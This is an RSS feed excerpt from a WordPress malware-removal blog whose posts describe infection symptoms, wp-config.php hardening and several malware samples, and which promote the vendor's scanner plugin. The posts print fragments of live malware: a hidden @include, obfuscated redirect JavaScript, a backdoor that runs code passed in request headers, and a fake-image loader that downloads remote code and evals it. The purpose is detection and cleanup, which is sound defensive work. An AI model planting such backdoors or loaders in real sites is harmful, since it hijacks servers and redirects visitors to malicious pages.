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					<description><![CDATA[Here are some of the types of malware embedded in WordPress that are common these days. If similar code is included in the site&#8217;s program, we suspect that WordPress has been hacked and tampered with. 1 @include statement sandwiched between random string comments This type of tampering is often seen in core WordPress files such as index.php and wp-config.php. Specifically, the following tampering occurs /*ytju6dyr @include(/home/www/***********/.sd87ywernaksj.mo); /*ytju6dyr The random strings above and below the @INCLUDE statement are identifiers for the body of the malware to check if the tampering has been removed. The tampering also reads the body of the malware, .sd87ywernaksj.mo, in a way that does not raise an error if the file has been removed by @include. In other words, the body of the malware is .sd87ywernaksj.mo. If the file starts with . at the beginning of a file makes it an invisible file in Linux, so this malware body file is not visible in the general file display method. 2 JAVASCRIPT using atob or String.fromCharCode This malware is a common modification to Header.php and Footer.php, which are loaded in database submissions and on all pages of a theme, and in most cases it is a redirect hack code that skips the site to another site. Specifically, the following tampering occurs document.write(atob(alphanumeric string)); document.write(String.fromCharCode(array of numbers)); atob and String.fromCharCode are string conversion processes used for the purpose of making a program string quickly unreadable. The hacker uses atob and String.fromCharCode to obfuscate what the tampering is doing so that it is not immediately apparent, and then outputs the code to HTML with document.write. However, String.fromCharCode is often used on Japanese sites to hide e-mail addresses to prevent spam, so it is necessary to distinguish it from malware. 3 A large number of /* */ This malware is often installed in WordPress core files with random string file names. Example filename nlcebdto.php Example of malware code /* Unx */chr ( number /*rgv */ number /*rQZu */ number ).chr (number) . /* VbNc */chr (number This malware is characterized by the fact that it contains a large number of /* */ (comments) while obfuscating the malware code with CHR. This large number of comments is inserted to prevent detection by malware scanners. 4 Contains a large number of /* */ (comments) The code of this malware contains a large number of /x-numeric characters as shown below. \x3f\x70h\x digits\x20@\x digits\x76a\x digits\x digitsc\x digits$\x5f\x52E\x51\x digitsE\x53\x digits[. The /x-number string is a UTF-8 string that has been converted so that only a program can expand it, making it appear unintelligible to a human eye, and obfuscated so that the program cannot tell what it is doing at first glance. Other common malware codes include UTF-16 conversions and u00 numbers. 5 Getting information from $_HEADERS This malware is simple and looks like the following $_HEADERS = getallheaders(); if (isset($_HEADERS['character'])) { $char = $_HEADERS['character']('', $_HEADERS['character']($_HEADERS['character'])); $_CHARACTER(); } This malware is called a backdoor, which means that any program that the hacker plants in the headers can be executed on the server. However, the letters in the above [&#8230;]]]></description>
		
		
		
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		<title>New type of malware redirects to Russian mail-order sites only in some WordPress URLs</title>
		<link>https://blog.website-malware-removal.com/8032</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 02 Mar 2023 12:00:23 +0000</pubDate>
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					<description><![CDATA[We have discovered a new type of malware that redirects only some hierarchical WordPress URLs to Russian mail-order sites, and we would like to present an example of this malware. Characteristics of WordPress malware The malware is characterized by redirecting all pages below a specific WordPress hierarchy, such as example.com/en/ or example.com/jp/, to malicious sites on Russian domains. For example, the following sites were among those redirected to the malicious site. http://www[.] hacopy[.]. ru/ Malware location This malware is a malicious PHP program disguised as a GIF or JPG. We found that the malware was loaded in the theme&#8217;s Functions.php with the following description. include("images/qaI.gif"); The cleverness of this malware is that while the malware itself is contained in a gif or jpg, the code to load it is extremely short and not obfuscated, making it difficult to detect. The code of the malware disguised as a gif or jpg is as follows. error_reporting(0); $a =@file_get_contents(str_rot13('uggc://***********/').' all/*********/xmlr'); eval('? >'. $a); This code pulls in external malicious code and executes it on the server. This was achieving an unauthorized redirect. How to deal with malware You can deal with this malware in the following ways 1 Detect malicious INCLUDE (read) of malformed gifs and jpgs with the malware scanner plugin. [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. 2 Once the malicious loading is detected, read the path to the location on the server where the gif or jpg file is being loaded, connect to the server using ftp software, etc., delete the malware itself, and then delete the malicious INCLUDE statement. (Failure to do these two things at the same time will result in a program error.)]]></description>
		
		
		
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		<title>10 Symptoms of WordPress hacked (tampered malware infection)</title>
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		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 27 Feb 2023 12:00:03 +0000</pubDate>
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					<description><![CDATA[This section describes 10 common symptoms of WordPress being hacked (tampering malware infection). 1 Forced to go to another site when accessing a site or clicking on a link This is the most common type of tampering with WordPress sites that causes this symptom these days. Hackers embed scripts in wp-config.php, index.php, or the theme&#8217;s header.php, all of which must be loaded by WordPress, to force users to go to a different site. The sites to which users are forced to jump are often fake sweepstakes sites or fake virus detection software sites. This symptom is recorded in a cookie and may only occur rarely, such as once a day. 2 Search results pull up pages of shopping sites or information that have nothing to do with your site. When searching for your (your company&#8217;s) site name, a large number of fake pages will be trapped in the search results under your domain. This type of tampering is achieved by altering the sitemap (sitemap.xml), which tells search engines the URLs contained in your site. Also, fox-c and fox-404 malware are designed to host a large number of malicious pages on the server, and these pages may appear in search results. The number of accesses to the site may drop dramatically due to the obstruction of search results and inflow of traffic. 3 This site has been hacked in Google search results If the message &#8220;This site may have been hacked by a third party&#8221; or &#8220;This site may damage your computer&#8221; appears in Google search results, it is because Google has detected malware on the site and issued a warning. In this case, you will need to remove the malware and request a re-examination through Search Console or other means. 4 When accessing the site, a warning appears on a bright red screen. When you try to access a website with your browser, a bright red screen will appear with a message such as &#8220;You are trying to access a fake site,&#8221; &#8220;The site you are accessing has a dangerous application,&#8221; &#8220;Scam website warning,&#8221; &#8220;Warning: This is a dangerous site,&#8221; &#8220;The site ahead contains a harmful program,&#8221; etc. and you are unable to access the site, it indicates that the site has been registered on your browser&#8217;s list of dangerous sites due to malware infection. In this case, it is necessary to remove the malware and request a re-examination of the site through Search Console or other means. 5 Some pages of the administration page have a 403 error. Some malware nowadays modifies the HTACCESS file to make certain (PHP) files in the admin panel inaccessible. In this case, only files with a .php extension become inaccessible, and many pages in the WordPress administration screen become inaccessible with a 403 error. 6 Site suddenly becomes inaccessible Sometimes a server management company detects malware and, in an attempt to stop the malware activity, deletes files or forces file permissions to 000 (make them unexecutable). As a result, the operation of important WordPress files may be interfered with and the entire site may become [&#8230;]]]></description>
		
		
		
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		<title>If WordPress may be infected with malware (virus or tampering), use the plugin for quick malware inspection and removal.</title>
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		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 13 Dec 2022 01:22:25 +0000</pubDate>
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					<description><![CDATA[When WordPress may be infected with malware (virus or tampering), you can easily use a plugin to inspect and remove malware. The following is a list of the main types of malware behavior on websites and malware scanning and disinfection plug-ins. Major site malware behavior when WordPress is infected with malware. Administration page gives 404 or 403 errors and cannot log in It is possible that a hacker has rewritten the HTACCESS to prevent access to the administration screen, or has changed the password for administrative privileges. The provider or server management company has notified us that the server is infected with malware. The server company may have detected a malware infection and forced the site&#8217;s infected files to 000 write permissions or prevented access to the site&#8217;s folders. In this case, the provider often contacts you by e-mail. When I try to access your web site, I get a browser warning If a malware infection is left unchecked, the site may be on a list of dangerous sites and a warning may appear on your browser as an infected site, making it inaccessible. A warning appears in Google Search Console that the site has been hacked. Google Search Console is a service provided by Google that mainly provides information on keyword searches for websites. A product page that you do not remember is trapped in your site&#8217;s search results. If a search engine shows a large number of pages that you do not recognize when you search for your site, and the pages are from your domain, the server may have been tampered with by a hacker and is hosting the incorrect pages. In this case, the number of accesses may decrease drastically. The HTML code contains invalid JavaScript. If a website has been tampered with, forcing visitors to go to another site when they access the site or click on a link, malformed embedded JavaScript is used. In this case, the number of accesses may decrease drastically. Website operation becomes extremely slow or the display is corrupted. Malware code is often of low quality and may not work properly, making the site extremely slow or corrupting the layout due to malformed embedded code. Easily inspect and remove WordPress malware with plug-ins. WordPress Doctor has released a plugin that allows you to easily scan for malware (viruses and tampering) from the WordPress administration screen and includes an automatic removal function. To date, we have contributed to the removal of malware from over 30,000 websites. We hope you will give it a try. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>How to protect wp-config.php and security</title>
		<link>https://blog.website-malware-removal.com/7719</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 28 Nov 2022 01:28:39 +0000</pubDate>
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					<description><![CDATA[We will explain the contents of wp-config.php, the danger of this file being leaked, and how to protect it. What is wp-config.php and what happens if wp-config.php is viewed by outside hackers? wp-config.php is a file that contains settings related to WordPress. The most important information contained in this file is the database connection settings. Database connection URL Database user name Database password What happens if database connection information is compromised? If the database connection information is compromised, it is possible to connect to the database used by WordPress. However, many servers do not allow external connections to the database. (You can only connect via a program on that server.) Therefore, even if the database connection information in wp-config.php is compromised, if database connection software such as PHPMYADMIN is not on the server, it is difficult for malicious activity to take place. However, if in some way the hacker was able to obtain the database data, IDs and e-mail addresses of users who use WordPress, including the administrator user, would be exposed. However, the passwords of these users are encrypted, so even if the database information is compromised, they will not be able to log into WordPress. To hijack WordPress administrator privileges and conduct malicious or hacking activities, it is necessary to further rewrite the database by rewriting user passwords, creating rogue administrator users, etc. Protecting wp-config.php A relatively simple and common way to protect wp-config.php is to write a setting to the HTACCES file in the folder where WordPress is installed, where the server configuration information is written, that makes wp-config.php inaccessible from the outside. &#60;FilesMatch &#34;wp-config\.php&#34;&#62; Require all denied &#60;/FilesMatch&#34;&#62; It is also important to set the write permission of wp-config.php to the appropriate setting. Connect to the server with FTP software and set the permissions to 600 or 400. Please note that if you set the permission to 400, you will not be able to write HTACCESS files, which may cause errors in writing plug-ins and server settings. It is also important for security that the AUTH_KEY, SECURE_AUTH_KEY, and LOGGED_IN_KEY fields in wp-config.php are always set to long random strings. Reference What is the unique authentication key in wordpress wp-config.php used for and what is it used for? You can also protect wp-config.php with easy security settings. Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>Case of tampering and embedding of ois.is/images/logo.png loading scripts in multiple WordPress files</title>
		<link>https://blog.website-malware-removal.com/7681</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 16 Nov 2022 01:09:30 +0000</pubDate>
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					<description><![CDATA[We will introduce an example of a type of malware in which an image file of ois.is is illegally embedded, which has been increasing greatly in recent years. Malware that loads malware disguised as images from ois.is and executes it on WordPress sites This malware exploits a vulnerability and embeds malicious code in key WordPress files by taking away WordPress administrator privileges. Since the malware infects WordPress by embedding code in the form of additions to the main WordPress files, only the tampered parts must be carefully removed, since deleting the file itself will cause the site to malfunction. ↓The most commonly tampered with files are as follows wp-settings.php wp-comments-post.php xmlrpc.php wp-trackback.php wp-blog-header.php wp-signup.php wp-cron.php wp-links-opml.php Malware Code Let&#8217;s take a look at the malware code. The tampered part of this malware is shown below. error_reporting(0); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('display_errors', 0); $ckUjYggTf = 0; foreach($_COOKIE as $vUjUnHvOOoO => $vvvUjUnHvOOoO){ 1(omitted) break; } } } function globalClick(event) { const host = location.host const newLocation = \"https://ois.is/images/logo.png\" 2(omitted) const hoursDiff = getHoursDiff(nowDate, storageDate) console.log(nowDate, storageDate, hoursDiff) if (hoursDiff >= allowedHours) { addToStorage(host, nowDate); window.open(newLocation, \"_blank\"); } 3(omitted) window.open(newLocation, \"_blank\"); } } } document.addEventListener(\"clickClick", globalClick); } })();"; } } The ini_set portion of the code does not output any errors or warnings. In the part 1, the time is recorded in the user&#8217;s COOKIE to ensure that malware is only executed on rare occasions, thus delaying the detection of malware infection. In part 2, the malicious code of the malware itself, disguised as an image, is retrieved from an external server called ois.is.　This includes a list of malicious URLs, called a redirect hack, that force users to visit a different site when they visit it. In part 3, the code is executed and also hijacks the clicks on the site so that the redirect hack is manifested when the user clicks on any link. This malware can be detected and removed with the following plugin. Please try it. Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
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